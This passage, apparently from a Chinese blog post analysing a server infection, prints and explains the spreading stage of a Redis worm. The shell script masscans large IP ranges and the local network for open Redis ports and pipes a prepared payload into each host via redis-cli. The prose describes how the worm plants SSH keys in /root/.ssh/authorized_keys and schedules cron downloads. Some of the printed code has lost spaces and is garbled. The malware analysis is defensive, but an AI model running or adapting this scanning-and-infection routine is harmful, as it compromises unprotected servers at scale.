whileread -r h p; do
cat .dat |redis-cli -h $h -p $p --raw 2> /dev/null1> /dev/null&
done < .shard
sleep 1
masscan --max-rate 10000-p6379, 6380192.168. 0. 0/ 16172.16. 0. 0/ 16116.62. 0. 0/ 16116.232. 0. 0/ 16116.128. 0. 0/ 16116.163. 0. 0/ 162> /dev/null| awk '{print $6, substr($4, 1, length($4)-4)}' |sort | uniq > .ranges
sleep 1
whileread -r h p; do
cat .dat |redis-cli -h $h -p $p --raw 2> /dev/null1> /dev/null&
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null |sed 's//([0-9]{2})//16/g'> .inet
sleep 1
masscan --max-rate 10000-p6379, 6380-iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' |sort | uniq > .lan
sleep 1
whileread -r h p; do
cat .dat |redis-cli -h $h -p $p --raw 2> /dev/null1> /dev/null&
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2> /dev/null
如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。
一开始的修改系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过 Redis 的人,应该能猜到,这里是对 Redis 进行配置。
写这个配置,自然也就是利用了 Redis 把缓存内容写入本地文件的漏洞,结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆,也就是我们文章最开始的 /root/.ssh/authorized_keys。
登录之后就开始定期执行计划任务,下载脚本。好了,配置文件准备好了,就开始利用 Masscan 进行全网扫描 Redis 服务器,寻找肉鸡。
注意看这 6379 就是 Redis 服务器的默认端口,如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0,并且没有密码保护,不好意思,你就中招了。
总结
通过依次分析这 3 个脚本,就能看出这个病毒的可怕之处,先是通过写入 ssh public key 拿到登录权限,然后下载执行远程二进制文件,最后再通过 Redis 漏洞复制,迅速在全网传播,以指数级速度增长。
那么问题是,这台服务器是怎么中招的呢?看了下 redis.conf,Bind 的地址是 127.0.0.1,没啥问题。
由此可以推断,应该是 Root 帐号被暴力破解了,为了验证我的想法,我 Lastb 看了一下,果然有大量的记录: